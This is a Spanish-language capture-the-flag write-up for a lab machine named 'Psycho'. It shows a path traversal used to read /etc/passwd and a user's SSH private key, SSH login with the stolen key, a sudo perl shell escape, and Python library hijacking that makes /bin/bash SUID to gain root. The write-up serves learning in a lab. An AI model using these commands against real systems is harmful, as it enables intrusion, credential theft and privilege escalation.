> For the complete documentation index, see [llms.txt](https://shinki-organization.gitbook.io/dw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://shinki-organization.gitbook.io/dw/write-ups/quickstart/maquinas-faciles/psycho-write-up.md).

# Psycho write-up

## **Verificamos si tenemos conexión con la máquina víctima**

<figure><img src="/files/daW9QDNqQZ4ec24FjlVo" alt=""><figcaption></figcaption></figure>

## **Realizamos un escaneo de puertos abiertos de la máquina víctima**

Usaremos la herramienta **Nmap** para escanear los puertos abiertos de la máquina víctima con el siguiente comando:

```bash
sudo nmap -p- -sCVS --min-rate=5000 -vvv -O -Pn -n 172.17.0.2
```

El escaneo nos indica que el puerto 22 (SSH) y el 80 (HTTP) están abiertos

<figure><img src="/files/LFTNwYPgkmmfom7D2NGO" alt=""><figcaption></figcaption></figure>

Ahora lo que haremos será utilizar la herramienta **Gobuster** para encontrar rutas ocultas con el siguiente comando:

```bash
gobuster dir -u http://172.17.0.2/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,html,php,py
```

Esto nos indica una ruta llamada `index.php`

<figure><img src="/files/sT8pdjUbEU4zyri2ovnG" alt=""><figcaption></figcaption></figure>

Ahora lo que haremos será usar la herramienta **Wfuzz** para buscar parámetros con los que poder explotar un Path traversal en la ruta `172.17.0.2/index.php` de la siguiente manera:

```bash
wfuzz -c --hl 62 -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt "http://172.17.0.2/index.php?FUZZ=/../../../etc/passwd"
```

En este caso ponemos `--hl 62` para filtrar por el número de lineas. Y con esta herramienta encontramos que si usamos el parámetro `secret` podemos ver el fichero `/etc/passwd`.

<figure><img src="/files/yhPxIWFdLqwCPwPdvKMP" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/7vtNdsbfOJV6tM25EsP9" alt=""><figcaption></figcaption></figure>

Y ahora lo que haremos será buscar el fichero `id_rsa del usuario vaxei`, que nos servirá para iniciar sesión en el servicio SSH sin necesidad de contraseña, con **Curl** de la siguiente manera:

```bash
curl http://172.17.0.2/index.php?secret=/../../../home/vaxei/.ssh/id_rsa
```

<figure><img src="/files/1ZwrjNGIiX5lg5B6Ejg8" alt=""><figcaption></figcaption></figure>

Ahora una vez ya tenemos la key privada solo tenemos que iniciar sesión en el servicio SSH, creando un fichero con la key privada dentro y cambiando los permisos al archivo y ya estaríamos dentro de la máquina:

```bash
nano ssh_rsa
chmod 0600 ssh_rsa
ssh -i ssh_rsa vaxei@172.17.0.2
```

<figure><img src="/files/8ZIW6iy3OkiwPj1THZaF" alt=""><figcaption></figcaption></figure>

## **Intrusión en la máquina víctima**

Una vez estamos dentro de la máquina víctima ejecutamos el comando `sudo -l` y nos indica que podemos usar perl como usuario `luisillo`, así que ejecutamos el siguiente comando para obtener una shell del usuario `luisillo`:

```bash
sudo -u luisillo /usr/bin/perl -e 'exec("/bin/bash")'
```

<figure><img src="/files/tu3QeNkV8o4B3ivVpU9G" alt=""><figcaption></figcaption></figure>

Ya como usuario `luisillo`ejecutamos el comando `sudo -l` y nos indica que podemos ejecutar como usuario root `python3` y un fichero que esta en el directorio `/opt` llamado `paw.py`.

<figure><img src="/files/dJyyTzXeq6AqqV8kLfUg" alt=""><figcaption></figcaption></figure>

Así que vamos a hacer un `level hijacking`, primero hacemos un cat de `paw.py` y vemos que usa una librería llamada `subprocess`, así que creamos un archivo llamada `subprocess.py` que tenga el siguiente código:

<figure><img src="/files/5dWZI2W1n047YAKsOGjA" alt=""><figcaption></figcaption></figure>

```python
import os

os.system('chmod u+s "/bin/bash"')
```

Y ahora solo nos quedaría ejecutar `paw.py` y ejecutar el comando `bash -p` y ya tendríamos privilegios root.

<figure><img src="/files/c3JK4UJ2dsymQyvxc3N5" alt=""><figcaption></figcaption></figure>
